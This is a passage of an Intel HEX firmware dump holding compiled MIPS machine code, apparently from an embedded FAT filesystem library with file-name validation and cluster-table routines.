f0002000c28f3000c38f21106200000043809f\n:101900002400c28f1000c427211082002c0043a0a5\n:101910002400c28f010042242400c2af2400c38fe0\n:101920000b00022403006214000000005346400b29\n:10193000000000001400c28f3000c38f211062002d\n:1019400000004280e4ff4014000000002400c28f29\n:101950001400c2afa746400b000000001400c0af47\n:101960006546400b000000001481838f1400c28f75\n:1019700021106200000043801400c28f1000c427b1\n:10198000211082002c0043a01400c28f01004224c9\n:101990001400c2af1400c28f080042280e0040108d\n:1019a000000000001481838f1400c28f2110620098\n:1019b000000043802e000224070062100000000097\n:1019c0001481838f1400c28f2110620000004280b6\n:1019d000e5ff4014000000001400c28f1800c2afe1\n:1019e0008146400b000000001400c28f0100432418\n:1019f0001400c3af1000c32721106200200003248d\n:101a00002c0043a01400c28f08004228f6ff4014a7\n:101a1000000000001481838f1800c28f2110620023\n:101a2000000043802e0002241c006214000000000d\n:101a30001800c28f010042241800c2af9d46400b1f\n:101a4000000000001400c28f010043241400c3af43\n:101a50001481848f1800c38f010065241800c5af5e\n:101a600021188300000063801000c4272110820029\n:101a70002c0043a01481838f1800c28f21106200b4\n:101a80000000428005004010000000001400c28fda\n:101a90000b004228ebff401400000000b046400b52\n:101aa000000000001400c28f010043241400c3afe3\n:101ab0001000c32721106200200003242c0043a043\n:101ac0001400c28f0b004228f6ff401400000000f3\n:101ad0003c00c383200002240300621400000000c5\n:101ae0005f0002243c00c2a37400c28f2000422485\n:101af0003000c2af1400c0afe546400b000000004c\n:101b00001400c28f3000c38f211062001400c38ff5\n:101b10001000c427211883002c006380000043a01c\n:101b20001400c28f1000c327211062002c004280d5\n:101b30006100422814004014000000001400c28f0d\n:101b40001000c327211062002c0042807b00422835\n:101b50000d004010000000001400c28f3000c38f41\n:101b6000211062001400c38f3000c48f211883003d\n:101b700000006380ff006330e0ff6324ff006330f8\n:101b8000201c037c000043a01400c28f01004224eb\n:101b90001400c2af1400c28f0b004228d8ff4014bb\n:101ba000000000000100022421e8c0036c00bf8f88\n:101bb0006800be8f6400b78f6000b68f5c00b58f81\n:101bc0005800b48f5400b38f5000b28f4c00b18fc7\n:101bd0004800b08f7000bd270800e003000000003f\n:101be000e0ffbd271c00beaf21f0a0032110800044\n:101bf0002000c2a30c00c0a30400c0a73247400bc2\n:101c0000000000004880828f180040100000000093\n:101c10001c81838f0400c2974010020021106200d3\n:101c20000000439420000224240062100000000001\n:101c30001c81838f0400c2974010020021106200b3\n:101c4000000043942e0002241c00621000000000db\n:101c50001c81838f0400c297401002002110620093\n:101c60001c8182af3747400b000000001481838f36\n:101c70000400c2972110620000004380200002246b\n:101c80000e006210000000001481838f0400c297d0\n:101c900021106200000043802e0002240700621021\n:101ca000000000001481838f0400c297211062009d\n:101cb000148182af3747400b000000000400c29738\n:101cc000010042240400c2a7108182970400c39738\n:101cd0002b106200cbff4014000000000600c0a7dc\n:101ce00010818297211840000400c29723106200df\n:101cf000ffff42240800c2af6b47400b000000000a\n:101d00004880828f13004010000000001c81838fe8\n:101d10000800c28f401002002110620000004394ae\n:101d2000200002241b006210000000001c81838f31\n:101d30000800c28f4010020021106200000043948e\n:101d40002e00022413006210000000006e47400bba\n:101d5000000000001481838f0800c28f21106200f0\n:101d600000004380200002240a00621000000000ee\n:101d70001481838f0800c28f21106200000043800d\n:101d80002e00022403006210000000006e47400b8a\n:101d9000000000000600c297010042240600c2a70e\n:101da0000800c28fffff42240800c2af0800c28fa4\n:101db000d3ff401c00000000108183970400c297ed\n:101dc00023106200ffff43300600c2972310620019\n:101dd000ffff4230108182a7108182970101422cbf\n:101de000040040100000000010818297040040149d\n:101df00000000000070002249548400b000000008e\n:101e00004880828f0e0040100000000010818297f1\n:101e10004010020019004228050040140000000094\n:101e2000060002240000c2af9947400b00000000ea\n:101e3000020002240000c2af9947400b00000000de\n:101e4000108182970d00422c050040140000000014\n:101e5000060002240000c2af9947400b00000000ba\n:101e60000000c0af0400c0a78f48400b0000000076\n:101e70004880828f74004010000000001c81838f16\n:101e80000400c2974010020021106200000042943a\n:101e90000e00c2a70e00c2972000422c0500401081\n:101ea000000000000e00c397050002241d0062140c\n:101eb000000000000e00c3972200022419006210e7\n:101ec000000000000e00c3972f00022415006210ce\n:101ed000000000000e00c3973a00022411006210b7\n:101ee000000000000e00c3973c0002240d006210a9\n:101ef000000000000e00c3973e000224090062109b\n:101f0000000000000e00c3975c0002240500621070\n:101f1000000000000e00c3977c000224040062143d\n:101f200000000000070002249548400b000000005c\n:101f30002000c2930c004014000000000e00c39764\n:101f40002a00022405006210000000000e00c39762\n:101f50003f00022404006214000000000700022475\n:101f60009548400b000000000000c38f06000224cb\n:101f7000af006210000000000e00c3972000022492\n:101f800021006210000000000e00c3972b00022405\n:101f90001d006210000000000e00c3972c000224f8\n:101fa00019006210000000000e00c3973b000224dd\n:101fb00015006210000000000e00c3973d000224cf\n:101fc00011006210000000000e00c3975b000224a5\n:101fd0000d006210000000000e00c3975d00022497\n:101fe00009006210000000000e00c3972e000224ba\n:101ff00009006214000000000c00c39301000224d9\n:102000000500621400000000060002240000c2afb8\n:102010008c48400b000000001c81838f0400c29795\n:102020004010020021106200000043942e000224a0\n:102030007f00621400000000010002240c00c2a313\n:102040008c48400b000000001481838f0400c2976d\n:1020500021106200000042801000c2a31000c29351\n:102060002000422c05004010000000001000c39327\n:10207000050002241d006214000000001000c3933c\n:102080002200022419006210000000001000c39317\n:102090002f00022415006210000000001000c393fe\n:1020a0003a00022411006210000000001000c393e7\n:1020b0003c0002240d006210000000001000c393d9\n:1020c0003e00022409006210000000001000c393cb\n:1020d0005c00022405006210000000001000c393a1\n:1020e0007c000224040062140000000007000224a7\n:1020f0009548400b000000002000c2930c004014e3\n:10210000000000001000c3932a00022405006210a2\n:10211000000000001000c3933f000224040062147a\n:1021200000000000070002249548400b000000005a\n:102130000000c38f060002243d0062100000000072\n:102140001000c39320000224210062100000000050\n:102150001000c3932b0002241d0062100000000039\n:102160001000c3932c00022419006210000000002c\n:102170001000c3933b000224150062100000000011\n:102180001000c3933d000224110062100000000003\n:102190001000c3935b0002240d00621000000000d9\n:1021a0001000c3935d0002240900621000000000cb\n:1021b0001000c3932e0002240900621400000000e6\n:1021c0000c00c3930100022405006214000000000b\n:1021d000060002240000c2af8c48400b0000000043\n:1021e0001000c3932e0002240300621400000000bc\n:1021f000010002240c00c2a30000c38f01000224ce\n:102200000b006210000000001000c2936100422c1d\n:1022100007004014000000001000c2937b00422c15\n:102220000300401000000000010002240000c2afc3\n:102230000400c297010042240400c2a710818297c3\n:102240000400c3972b10620009ff40140000000037\n:102250000000c28f21e8c0031c00be8f2000bd27f4\n:102260000800e00300000000d0ffbd272c00bfaf36\n:102270002800beaf21f0a0033000c4af3400c5afca\n:102280003800c6af3400c28f1000c2af3000c28f1a\n:102290000000428c1400c2af3800c28f010003243a\n:1022a0000600431000000000020003240a0043104f\n:1022b00000000000bc48400b000000003000c28f4e\n:1022c0001000438c1000c28f211062001000c2afba\n:1022d000bc48400b000000003000c28f1400438c4b\n:1022e0001000c28f231062001000c2af0000000077\n:1022f000448082930a004010000000003241400fe9\n:102300000000000006004010000000000900022448\n:10231000348182a3ffff02248949400b00000000a2\n:102320003000c28f0400428c1800c2af3000c28f50\n:102330001800c38f080043ac3000c28f1400428cd9\n:102340001800c2af1000c38f1800c28f2b104300bb\n:1023500006004010000000001f000224348182a308\n:10236000ffff02248949400b000000003000c38faa\n:10237000180062908410027c180062a01000c38fc5\n:102380003000c28f100043ac1000c38f1400c28f06\n:102390001d004488212880001a0045982110a000c3\n:1023a0001b006200f4014000101000001210000039\n:1023b0001c00c2af1000c38f1400c28f1d004488e0\n:1023c0001a0044981c00c28f1800820012200000de\n:1023d000231064001000c2af1000c28fffff433013\n:1023e0003000c28f0e0043a41400c28f230042901d\n:1023f0001c00c38f1b006200f4014000101000009d\n:10240000122800001800c5af1400c28f23004290ac\n:10241000211840001800c28f180062001c00c28ff3\n:1024200012180000231043001c00c2af1c00c28f12\n:10243000ffff43303000c28f0c0043a41800c28f4e\n:1024400054004010000000003000c48f1800c58ff9\n:102450004723400f000000002000c2a32000c293c9\n:102460004c004010000000002000c3933c000224f8\n:1024700043006214000000003000c28f1800428c3c\n:10248000010042301b004010000000003000c28fed\n:102490000400438c3000c28f080043ac1800c38f87\n:1024a0000100022408006210000000001800c28f22\n:1024b000ffff42243000c48f212840004723400ff3\n:1024c000000000002000c2a33000c48f21280000bb\n:1024d0002f37400f000000002e00401000000000c9\n:1024e0000f000224348182a3ffff02248949400b9c\n:1024f000000000003000c28f0400438c3000c28f07\n:10250000080043ac1800c28fffff42243000c48f84\n:10251000212840004723400f000000002000c2a3f4\n:102520002000c29306004010000000000f000224ab\n:10253000348182a3ffff02248949400b0000000080\n:102540001400c28f1d004388212060001a004498a7\n:1025500021108000ffff43303000c28f0e0043a4e3\n:102560001400c28f23004290ffff4224ffff43303c\n:102570003000c28f0c0043a46549400b00000000ee\n:102580000f000224348182a3ffff02248949400bfb\n:10259000000000003000c28f0800428c1400c48f7d\n:1025a000212840006d3f400f000000001800c2af1e\n:1025b0003000c28f0c0042941c00c2af1800c38fc1\n:1025c0001c00c28f211062001800c2af408080af93\n:1025d000468080a31400c28f030043882128600036\n:1025e000000045982110a0001800c48f2128400049\n:1025f000e5d5400f00000000060040140000000078\n:102600001b000224348182a3ffff02248949400b6e\n:10261000000000001800c28f088082af348180a3c0\n:102620002110000021e8c0032c00bf8f2800be8fbe\n:102630003000bd270800e00300000000c8ffbd27f0\n:102640003400bfaf3000beaf21f0a0033800c4afec\n:102650003c00c5af1800c0af468080a33800c28fd1\n:1026600024004290010003241000431000000000e9\n:10267000030003241f004314000000003c00c28f2d\n:10268000801002001400c2af1000c0a3ff0f023c74\n:10269000ffff42341c00c2afff0f023cf8ff423480\n:1026a0002000c2afc649400b000000003c00c38fb1\n:1026b0002110600040100200211043001400c2af3e\n:1026c0001400c28fff004230010042301000c2a34c\n:1026d0001400c28f421002001400c2afffff023488\n:1026e0001c00c2aff80f02242000c2afc649400b45\n:1026f000000000003c00c28f401002001400c2af76\n:102700001000c0a3ffff02341c00c2aff8ff023468\n:102710002000c2af000000003800c28f0b004388c9\n:10272000080043983800c28f1d004488212880008b\n:102730001a0045982110a0001400c48f1b008200cd\n:10274000f40140001010000012100000211062007f\n:102750002400c2af3800c28f1d00438821206000d2\n:102760001a00449821108000ffff42241400c38ff8\n:10277000241062001400c2af0480838f2400c28f33\n:1027800070006214000000003800c28f24004390e3\n:102790000300022409006214000000001400c38f2b\n:1027a00000a0023c50084224211062000000428c2c\n:1027b0001800c2afb84a400b000000003800c28fba\n:1027c000240043900200022409006214000000006b\n:1027d0001400c38f00a0023c500842242110620064\n:1027e000000042941800c2afb84a400b000000003d\n:1027f0003800c28f2400439001000224b800621404\n:10280000000000001400c38f00a0023c50084224c6\n:1028100021106200000042901800c2af1000c29365\n:1028200004004010000000001800c28f02110200d6\n:102830001800c2af1400c28f010043243800c28fb9\n:102840001d004488212880001a0045982110a0000e\n:10285000ffff4224241062001400c2af1400c28f94\n:1028600020004014000000003c8082930c004010c7\n:10287000000000003800c48f212800002130000033\n:1028800001000724c64a400f000000000400401069\n:10289000000000001c00c28fc04a400b0000000076\n:1028a0002400c28f010042242120400000a0023ced\n:1028b00050084524e5d5400f0000000006004014f4\n:1028c00000000000ffff0234048082af1c00c28fb2\n:1028d000c04a400b000000002400c28f01004224c7\n:1028e000048082af1400c38f00a0023c5008422431\n:1028f00021106200000042902800c2af1000c29375\n:1029000008004010000000002800c28f00110200e3\n:102910001800c38f211062001800c2afb84a400be4\n:10292000000000002800c28f0f0042300012020099\n:102930001800c38f211062001800c2afb84a400bc4\n:10294000000000003c8082930c004010000000005a\n:102950003800c48f21280000213000000100072426\n:10296000c64a400f000000000400401000000000b4\n:102970001c00c28fc04a400b000000002400c48f1e\n:1029800000a0023c50084524e5d5400f000000009f\n:102990000600401400000000ffff0234048082aff4\n:1029a0001c00c28fc04a400b000000002400c28ff0\n:1029b000048082af3800c28f2400439003000224b9\n:1029c00009006214000000001400c38f00a0023c44\n:1029d00050084224211062000000428c1800c2af4f\n:1029e000b84a400b000000003800c28f240043901a\n:1029f0000200022409006214000000001400c38fca\n:102a000000a0023c500842242110620000004294c1\n:102a10001800c2afb84a400b000000003800c28f57\n:102a200024004390010002242d00621400000000e5\n:102a30001400c38f00a0023c500842242110620001\n:102a4000000042901800c2af1000c2930400401072\n:102a5000000000001800c28f021102001800c2af6f\n:102a60001400c28f010043243800c28f1d00448827\n:102a7000212880001a0045982110a000ffff422461\n:102a8000241062001400c2af1400c38f00a0023ce7\n:102a90005008422421106200000042902800c2af7a\n:102aa0001000c29308004010000000002800c28ff0\n:102ab000001102001800c38f211062001800c2af7d\n:102ac000b84a400b000000002800c28f0f004230bf\n:102ad000001202001800c38f211062001800c2af5c\n:102ae0001800c38f2000c28f2b1062000300401417\n:102af000000000002000c28f1800c2af1800c28f73\n:102b000021e8c0033400bf8f3000be8f3800bd27de\n:102b10000800e00300000000d0ffbd272c00bfaf7d\n:102b20002800beaf21f0a0033000c4af3400c5af11\n:102b30003800c6af2110e0003c00c2a33000c28fb5\n:102b400024004390030002240f00621000000000e4\n:102b50003000c28f24004390020002240a00621059\n:102b6000000000003000c28f2400439001000224c6\n:102b70000500621000000000ff0f023cffff42341e\n:102b80003b4c400b000000003000c28f24004290fc\n:102b90002118400003000224060062140000000017\n:102ba000ff0f023cffff42341c00c2aff04a400b53\n:102bb00000000000ffff02341c00c2af0000000054\n:102bc000468080a33c00c293260040100000000015\n:102bd0001000c0a30480828f1800c2af0f4b400bbf\n:102be000000000001800c48f00a0023c50084524db\n:102bf000213000009ad8400f00000000040040146b\n:102c0000000000001c00c28f3b4c400b0000000085\n:102c10001000c293010042241000c2a33000c28ff2\n:102c200021004388212060001e004498211080006c\n:102c30001800c38f211062001800c2af3000c28f8d\n:102c4000220042901000c3932b106200e5ff401455\n:102c5000000000003c8080a3211000003b4c400b92\n:102c6000000000003000c28f2400429001000324c5\n:102c70000a00431000000000030003241500431461\n:102c8000000000003400c28f801002001400c2afa8\n:102c90001100c0a33a4b400b000000003400c38f6a\n:102ca0002110600040100200211043001400c2af48\n:102cb0001400c28fff004230010042301100c2a355\n:102cc0001400c28f421002001400c2af3a4b400bf6\n:102cd000000000003400c28f401002001400c2af98\n:102ce0001100c0a3000000003000c28f0b00438819\n:102cf000080043983000c28f1d00448821288000be\n:102d00001a0045982110a0001400c48f1b008200f7\n:102d1000f4014000101000001210000021106200a9\n:102d20002000c2af3000c28f1d0043882120600008\n:102d30001a00449821108000ffff42241400c38f22\n:102d4000241062001400c2af0480838f2000c28f61\n:102d500034006210000000003c8082932300401089\n:102d6000000000001000c0a30480828f1800c2afd2\n:102d7000744b400b000000001800c48f00a0023c00\n:102d800050084524213000009ad8400f0000000070\n:102d900004004014000000001c00c28f3b4c400b9c\n:102da000000000001000c293010042241000c2a3e2\n:102db0003000c28f21004388212860001e00459802\n:102dc0002110a0001800c38f211062001800c2afac\n:102dd0003000c28f220042901000c3932b1062007b\n:102de000e5ff4014000000003c8080a32000c48f59\n:102df00000a0023c50084524e5d5400f000000002b\n:102e00000600401400000000ffff0234048082af7f\n:102e10001c00c28f3b4c400b000000002000c28f02\n:102e2000048082af3000c28f24004390030002244c\n:102e30002a006214000000001400c38f00a0023cae\n:102e400050084224211062003800c38fff00633015\n:102e5000000043a01400c28f0100432400a0023ce4\n:102e600050084224211062003800c38f00ff6330f5\n:102e7000021a0300ff006330000043a01400c28f59\n:102e80000200432400a0023c5008422421106200aa\n:102e90003800c48fff00033c24188300021c030089\n:102ea000ff006330000043a01400c28f03004324de\n:102eb00000a0023c50084224211062003800c48f58\n:102ec000000f033c24188300021e0300ff00633040\n:102ed000000043a0384c400b000000003000c28fbf\n:102ee0002400439002000224140062140000000039\n:102ef0001400c38f00a0023c50084224211062003d\n:102f00003800c38fff006330000043a01400c28f5d\n:102f10000100432400a0023c50084224211062001a\n:102f20003800c38f00ff6330021a0300ff006330d4\n:102f3000000043a0384c400b000000003000c28f5e\n:102f40002400439001000224650062140000000088\n:102f50001400c38f00a0023c5008422421106200dc\n:102f6000000042901200c2a31100c2930c00401056\n:102f7000000000003800c28fff0042300011020044\n:102f8000ff0043301200c2930f004230ff00423076\n:102f9000251062001200c2a3ea4b400b00000000a3\n:102fa0003800c28f1200c2a31400c38f00a0023cdd\n:102fb00050084224211062001200c393000043a075\n:102fc0001400c28f010043243000c28f1d004488ca\n:102fd000212880001a0045982110a000ffff4224fc\n:102fe000241062001400c2af1400c28f1d004014f0\n:102ff000000000003000c48f2128000021300000b4\n:1030000001000724c64a400f0000000004004010e1\n:10301000000000001c00c28f3b4c400b0000000071\n:103020002000c28f010042242120400000a0023c69\n:1030300050084524e5d5400f00000000060040146c\n:1030400000000000ffff0234048082af1c00c28f2a\n:103050003b4c400b000000002000c28f01004224c6\n:10306000048082af1400c38f00a0023c50084224a9\n:1030700021106200000042901200c2a31100c2930e\n:1030800006004010000000003800c28f021102004c\n:103090001200c2a3324c400b000000003800c28f67\n:1030a00002120200ff0042300f004230ff004330a6\n:1030b0001200c493f0ff022424108200ff0042306b\n:1030c000251062001200c2a31400c38f00a0023cae\n:1030d00050084224211062001200c393000043a054\n:1030e000010002243c8082a32110000021e8c003db\n:1030f0002c00bf8f2800be8f3000bd270800e003e2\n:1031000000000000e8ffbd271400bfaf1000beaff5\n:1031100021f0a0031800c4af212000001800c58fc3\n:1031200021300000664c400f0000000021e8c00381\n:103130001400bf8f1000be8f1800bd270800e003e9\n:1031400000000000e0ffbd271c00bfaf1800beafad\n:1031500021f0a0032000c4af01000224488082af08\n:10316000212000002000c58f21300000664c400f58\n:10317000000000001000c2af488080af1000c28f76\n:1031800021e8c0031c00bf8f1800be8f2000bd27a0\n:103190000800e0030000000088ffbd277400bfaff7\n:1031a0007000beaf21f0a003211080007c00c5afed\n:1031b0008000c6af7800c2a31400c0a7010002249b\n:1031c0002800c2a77c00c28f1800c2af7c00c28f4b\n:1031d0001c00c2af2c00c2272000c2af0c80828f1f\n:1031e0002000c48f21284000403e400f0000000016\n:1031f000348180a34880828f0600401000000000c8\n:103200001c00c28f000042941000c2a7884c400be3\n:10321000000000001800c28f000042801000c2a70a\n:103220001000c29706004014000000001f00022496\n:10323000348182a3ffff0224e34e400b0000000014\n:103240001000c2972e000324060043100000000067\n:103250005c000324f900431000000000e94d400b1e\n:10326000000000004880828f09004010000000002c\n:103270001c00c28f020042241c00c2af1c00c28f7f\n:10328000000042941000c2a7aa4c400b00000000ae\n:103290001800c28f010042241800c2af1800c28f6c\n:1032a000000042801000c2a71000c3972e00022425\n:1032b000aa006214000000004880828f09004010bc\n:1032c000000000001c00c28f020042241c00c2af9c\n:1032d0001c00c28f000042941000c2a7bf4c400bdc\n:1032e000000000001800c28f010042241800c2af85\n:1032f0001800c28f000042801000c2a72000c28fb9\n:103300003c00438c2481828f060062140000000080\n:103310001f000224348182a3ffff0224e34e400bee\n:10332000000000002000c28f3c00438c2000c28fb0\n:10333000400043ac010002242800c2a72800c22795\n:103340002000c48f2128400001000624e72f400ff1\n:10335000000000002400c2af2400c28f0600401409\n:10336000000000001b000224348182a3ffff02241e\n:10337000e34e400b000000002400c48f0227400fe2\n:1033800000000000211840002000c28f3c0043ac28\n:103390002000c28f3c00438c2000c28f400043ac11\n:1033a0002000c28f3c00428c1f004014000000002f\n:1033b0001200c0a71200c297010043241200c3a745\n:1033c0002000c38f211062005c000324200043a072\n:1033d000fe4c400b000000001200c2972000c38f7b\n:1033e0002110620020000324200043a01200c29795\n:1033f000010042241200c2a71200c2970b00422c07\n:10340000f5ff4014000000002481838f2000c28f4c\n:10341000400043ac2481838f2000c28f3c0043ac2a\n:10342000274d400b000000001200c0a71200c297f9\n:10343000010043241200c3a72000c38f21106200a3\n:103440002e000324200043a01200c2970100432451\n:103450001200c3a72000c38f211062002e00032496\n:10346000200043a0234d400b000000001200c29733\n:103470002000c38f2110620020000324200043a0fd\n:103480001200c297010042241200c2a71200c29784\n:103490000b00422cf5ff4014000000002800c0a7dc\n:1034a0002800c2272000c48f2128400001000624e4\n:1034b000e72f400f0000000006004014000000004d\n:1034c0001b000224348182a3ffff0224e34e400b41\n:1034d00000000000484d400b000000004880828f33\n:1034e00009004010000000001c00c28f02004224ae\n:1034f0001c00c2af1c00c28f000042941000c2a783\n:10350000484d400b000000001800c28f010042240b\n:103510001800c2af1800c28f000042801000c2a77e\n:103520001000c3975c000224ecff62100000000052\n:103530001000c2973f004014000000000c80828ff2\n:10354000212040002000c58f403e400f00000000b9\n:1035500021100000e34e400b000000001000c29755\n:1035600009004014000000000c80828f21204000e0\n:103570002000c58f403e400f0000000021100000d9\n:10358000e34e400b000000001000c3975c000224d3\n:103590002300621400000000794d400b0000000081\n:1035a0004880828f09004010000000001c00c28f7c\n:1035b000020042241c00c2af1c00c28f00004294d3\n:1035c0001000c2a7794d400b000000001800c28f08\n:1035d000010042241800c2af1800c28f00004280d0\n:1035e0001000c2a71000c3975c000224ecff621019\n:1035f000000000001000c2970e0040140000000000\n:103600000c80828f212040002000c58f403e400f5b\n:103610000000000021100000e34e400b00000000fd\n:103620001f000224348182a3ffff0224e34e400bdb\n:1036300000000000e14e400b000000004880828f37\n:1036400009004010000000001c00c28f020042244c\n:103650001c00c2af1c00c28f000042941000c2a721\n:10366000a04d400b000000001800c28f0100422452\n:103670001800c2af1800c28f000042801000c2a71d\n:103680001000c3975c0002240600621400000000d2\n:103690001f000224348182a3ffff0224e34e400b6b\n:1036a000000000001000c29720004014000000003d\n:1036b0000c80828f2481838f3c0043ac0c80828fee\n:1036c0002481838f400043ac1200c0a70c80838ffd\n:1036d0001200c297010044241200c4a72110620006\n:1036e0005c000324200043a0c44d400b00000000f8\n:1036f0000c80838f1200c2972110620020000324e7\n:10370000200043a01200c297010042241200c2a769\n:103710001200c2970b00422cf5ff4014000000007d\n:1037200021100000e34e400b000000002481838f35\n:103730002000c28f3c0043ac2481838f2000c28fc5\n:10374000400043ac1200c0a71200c29701004324fe\n:103750001200c3a72000c38f211062005c00032465\n:10376000200043a0e34d400b000000001200c29770\n:103770002000c38f2110620020000324200043a0fa\n:103780001200c297010042241200c2a71200c29781\n:103790000b00422cf5ff401400000000e14e400bee\n:1037a000000000001200c0a74880828f3700401040\n:1037b00000000000000202241400c2a70d4e400bbe\n:1037c000000000001200c297010043241200c3a7aa\n:1037d000212040001000c297201c027c00a0023c67\n:1037e000e815422421108200000043a01200c29775\n:1037f000010043241200c3a7212040001000c297fb\n:1038000002120200ffff4230201c027c00a0023c9a\n:10381000e815422421108200000043a01c00c28f42\n:10382000020042241c00c2af1c00c28f0000429460\n:103830001000c2a71000c2970a004010000000004c\n:103840001000c3975c000224060062100000000014\n:103850001200c3971400c2972b106200d9ff4014c6\n:10386000000000001200c297010043241200c3a709\n:103870002118400000a0023ce815422421106200fb\n:10388000000040a0434e400b000000000001022455\n:103890001400c2a7374e400b000000001200c29770\n:1038a000010043241200c3a7212040001000c2974a\n:1038b000201c027c00a0023ce8154224211082005a\n:1038c000000043a01800c28f010042241800c2afbc\n:1038d0001800c28f000042801000c2a71000c297db\n:1038e0000a004010000000001000c3975c00022492\n:1038f00006006210000000001200c3971400c29777\n:103900002b106200e5ff4014000000001200c29777\n:10391000010043241200c3a72118400000a0023c6c\n:10392000e815422421106200000040a01200c39755\n:103930001400c2972b1043001b0040100000000031\n:10394000634e400b000000004880828f0900401049\n:10395000000000001c00c28f020042241c00c2af05\n:103960001c00c28f000042941000c2a7634e400b9f\n:10397000000000001800c28f010042241800c2afee\n:103980001800c28f000042801000c2a71000c2972a\n:1039900005004010000000001000c3975c000224e6\n:1039a000e9ff62140000000000a0023ce815442476\n:1039b0002000c58f213000007644400f0000000039\n:1039c0000400401400000000ffff0224e34e400bff\n:1039d0000000000000a0023ca01344242000c58f7a\n:1039e000403e400f0000000000a0023ca013442411\n:1039f0002000c58f0100062421380000db1b400f8a\n:103a00000000000006004010000000000c0002242e\n:103a1000348182a3ffff0224e34e400b000000002c\n:103a200000a0023ca01342243a004294100042300d\n:103a300006004014000000001f000224348182a30d\n:103a4000ffff0224e34e400b000000002000c28f65\n:103a50003400429414004014000000001200c0a77b\n:103a6000a64e400b000000001200c2971200c4973f\n:103a700000a0033ca013632421188300200063806e\n:103a80002000c48f21108200200043a01200c297a2\n:103a9000010042241200c2a71200c2970b00422c60\n:103aa000f1ff40140000000000a0023ca0134224db\n:103ab0000400438c2000c28f3c0043ac2000c28f26\n:103ac0003c00438c2000c28f400043ac1000c297e2\n:103ad00009004014000000000c80828f212040006b\n:103ae0002000c58f403e400f000000002110000064\n:103af000e34e400b00000000dc4e400b00000000d5\n:103b00004880828f09004010000000001c00c28f16\n:103b1000020042241c00c2af1c00c28f000042946d\n:103b20001000c2a7d14e400b000000001800c28f49\n:103b3000010042241800c2af1800c28f000042806a\n:103b40001000c2a71000c297090040140000000036\n:103b50000c80828f212040002000c58f403e400f06\n:103b60000000000021100000e34e400b00000000a8\n:103b70001000c3975c000224e1ff62100000000007\n:103b800000000000904c400b0000000021e8c00342\n:103b90007400bf8f7000be8f7800bd270800e0035f\n:103ba0000000000070ffbd278c00bfaf8800beafd3\n:103bb00021f0a0039000c4af9400c5af9000c28f65\n:103bc00005004010000000009400c28fffff42304b\n:103bd000f74e400b000000000a0002242400c2a798\n:103be00000a0023ca01342242800c2af1400c0a3ce\n:103bf0001600c0a71800c0a700a0023ce815422488\n:103c00002c00c2af348180a39000c28f0600401404\n:103c10000000000000a0023c941342241000c2af38\n:103c2000144f400b000000009000c28f1000c2af84\n:103c30009400c28f06004014000000001f00022400\n:103c4000348182a3211000005852400b0000000074\n:103c50002400c297ffff42241000c38f211062008e\n:103c60003000c2af0c80828f2800c48f2128400012\n:103c7000403e400f000000002800c28f200043801b\n:103c80002e00022406006214000000002800c28feb\n:103c9000210043802e000224050062100000000075\n:103ca0002800c28f340042948801401000000000b8\n:103cb0002800c28f3c00428c3400c2af01000224b5\n:103cc0003c00c2a72800c28f3c00438c2800c28f52\n:103cd000400043ac3c00c2272800c48f212840008c\n:103ce00001000624e72f400f000000001c00c2afb7\n:103cf0001c00c28f06004014000000001b000224bc\n:103d0000348182a3211000005852400b00000000b3\n:103d10001c00c48f0227400f00000000208182afea\n:103d20002081828f06004014000000002481838fd0\n:103d30002800c28f3c0043ac534f400b00000000f2\n:103d40002081838f2800c28f3c0043ac2800c28fa3\n:103d50003c00438c2800c28f400043ac3c00c0a70d\n:103d60003c00c2272800c48f2128400001000624ff\n:103d7000e72f400f000000001c00c2af1c00c28fe4\n:103d800006004014000000001b000224348182a3be\n:103d9000211000005852400b000000001c00c48f8e\n:103da0000227400f00000000208182af844f400bab\n:103db000000000003c00c29701004224ffff423097\n:103dc0003c00c2a73c00c2272800c48f2128400025\n:103dd00021300000e72f400f000000001c00c2afa0\n:103de0001c00c28f06004014000000001b000224cb\n:103df000348182a3211000005852400b00000000c3\n:103e00001c00c48f0227400f00000000208182aff9\n:103e10002081838f3400c28fe6ff6214000000000f\n:103e20002081838f3400c28f1000621400000000d4\n:103e30001c00c28f00004380e5ff0224ddff6210fa\n:103e4000000000001c00c28f0b00439008000224f9\n:103e5000d8ff6210000000001c00c28f0b004390ce\n:103e60000f000224d3ff6210000000004400c227ac\n:103e7000212040002800c58f403e400f0000000078\n:103e80003c00c297ffff4224ffff42303e00c2a722\n:103e90003e00c2272800c48f2128400021300000a6\n:103ea000e72f400f000000002000c2af4650400b3b\n:103eb000000000002000c28f010042904000c2a319\n:103ec0002000c28f020042904100c2a31600c287a8\n:103ed000010043241600c3a7401002002c00c38f2a\n:103ee000211062004000c397000043a42000c28f4d\n:103ef000030042904000c2a32000c28f0400429001\n:103f00004100c2a31600c287010043241600c3a7c4\n:103f1000401002002c00c38f211062004000c397a4\n:103f2000000043a42000c28f050042904000c2a3bd\n:103f30002000c28f060042904100c2a31600c28733\n:103f4000010043241600c3a7401002002c00c38fb9\n:103f5000211062004000c397000043a42000c28fdc\n:103f6000070042904000c2a32000c28f0800429088\n:103f70004100c2a31600c287010043241600c3a754\n:103f8000401002002c00c38f211062004000c39734\n:103f9000000043a42000c28f090042904000c2a349\n:103fa0002000c28f0a0042904100c2a31600c287bf\n:103fb000010043241600c3a7401002002c00c38f49\n:103fc000211062004000c397000043a41600c2877e\n:103fd000010043241600c3a7401002002c00c38f29\n:103fe000211062002000c38f0e006394000043a4e0\n:103ff0001600c287010043241600c3a74010020028\n:104000002c00c38f211062002000c38f1000639426\n:10401000000043a41600c287010043241600c3a772\n:10402000401002002c00c38f211062002000c38fbb\n:1040300012006394000043a41600c28701004324c9\n:104040001600c3a7401002002c00c38f211062008d\n:104050002000c38f14006394000043a41600c2879d\n:10406000010043241600c3a7401002002c00c38f98\n:10407000211062002000c38f16006394000043a447\n:104080001600c287010043241600c3a74010020097\n:104090002c00c38f211062002000c38f180063948e\n:1040a000000043a41600c287010043241600c3a7e2\n:1040b000401002002c00c38f211062002000c38f2b\n:1040c0001c006394000043a41600c287010043242f\n:1040d0001600c3a7401002002c00c38f21106200fd\n:1040e0002000c38f1e006394000043a43e00c297cb\n:1040f000ffff4224ffff42303e00c2a73e00c2271e\n:104100002800c48f2128400021300000e72f400ff5\n:10411000000000002000c2af2000c28f0b004390bf\n:104120000f0002240a006214000000002000c28f69\n:1041300000004390e500022405006210000000002a\n:104140002000c28f000042905aff4014000000007f\n:104150004400c2272800c48f21284000403e400f61\n:10416000000000001600c28721004014000000007b\n:104170001500c0a37250400b000000001500c28360\n:104180001500c3831c00c48f2118830000006380c6\n:104190002800c48f21108200200043a00c80848f4f\n:1041a0001500c2831